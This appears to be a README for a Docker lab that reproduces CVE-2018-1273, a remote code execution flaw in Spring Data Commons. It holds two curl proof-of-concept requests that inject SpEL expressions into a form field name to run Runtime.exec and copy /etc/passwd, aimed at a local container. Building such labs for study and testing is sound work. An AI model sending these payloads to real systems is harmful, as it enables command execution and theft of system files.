Environment for CVE-2018-1273
CVE-2018-1273: RCE with Spring Data Commons
https://pivotal.io/security/cve-2018-1273
https://github.com/spring-projects/spring-data-examples/tree/master/web/example
$ docker build -t cve-2018-1273 .
$ docker run -d -p 8080:8080 cve-2018-1273
$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/'
or
$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/'